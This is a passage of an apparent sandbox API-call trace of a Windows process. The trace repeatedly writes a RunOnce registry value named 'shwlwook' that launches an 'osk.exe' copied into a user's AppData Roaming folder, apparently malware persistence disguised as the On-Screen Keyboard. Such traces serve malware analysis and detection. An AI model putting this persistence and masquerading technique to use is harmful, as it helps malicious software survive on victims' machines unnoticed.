() returned 0x0 [0282.876] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.890] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.890] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.890] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.891] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.891] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.891] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.891] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.891] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.891] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.906] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.906] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.906] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.907] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.907] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.907] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.908] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.908] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.908] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.937] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.937] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.937] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.938] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.938] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.938] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.938] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.938] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.939] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.953] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.953] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.954] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.954] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.954] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.955] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.955] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.955] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.956] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.989] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.989] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.990] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.990] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.990] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.990] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.990] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.991] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.991] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.005] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.005] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.005] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.006] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.006] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.006] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.006] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.006] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.007] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.021] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.021] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.021] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.022] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.022] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.022] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.022] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.022] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.022] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.037] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.037] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.037] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.037] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.038] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.038] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.038] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.038] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.038] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.052] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.052] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.052] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.053] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.053] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.053] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.053] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.053] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.053] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.068] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.068] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.068] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.068] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.069] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.069] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.069] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.069] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.069] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.083] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.083] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.083] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.084] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.084] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.084] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.084] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.085] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.085] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.099] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.099] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.099] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.100] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.100] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.100] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.100] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.100] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.100] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.114] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.114] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.115] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.115] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.115] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.115] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.115] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.116] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.116] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.130] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.130] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.130] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.131] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.131] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.131] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.131] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.131] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.132] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.146] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.146] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.147] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.147] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.147] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.147] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.148] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.148] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.148] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.161] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.161] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.162] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.162] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.163] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.163] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.163] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.163] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.164] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.177] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.177] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.177] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.178] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.178] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.178] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.178] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.179] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.179] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.193] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.193] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.193] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.194] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.194] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.194] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.194] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.194] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.195] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.208] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.208] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.209] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.209] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.209] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.209] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.210] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.210] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.210] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.224] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.224] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.224] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.225] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.225] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.225] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.225] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.225] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.225] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.239] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.239] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.240] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.240] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.240] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.240] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.241] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.241] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.241] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.255] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.255] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.255] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.256] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.256] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: 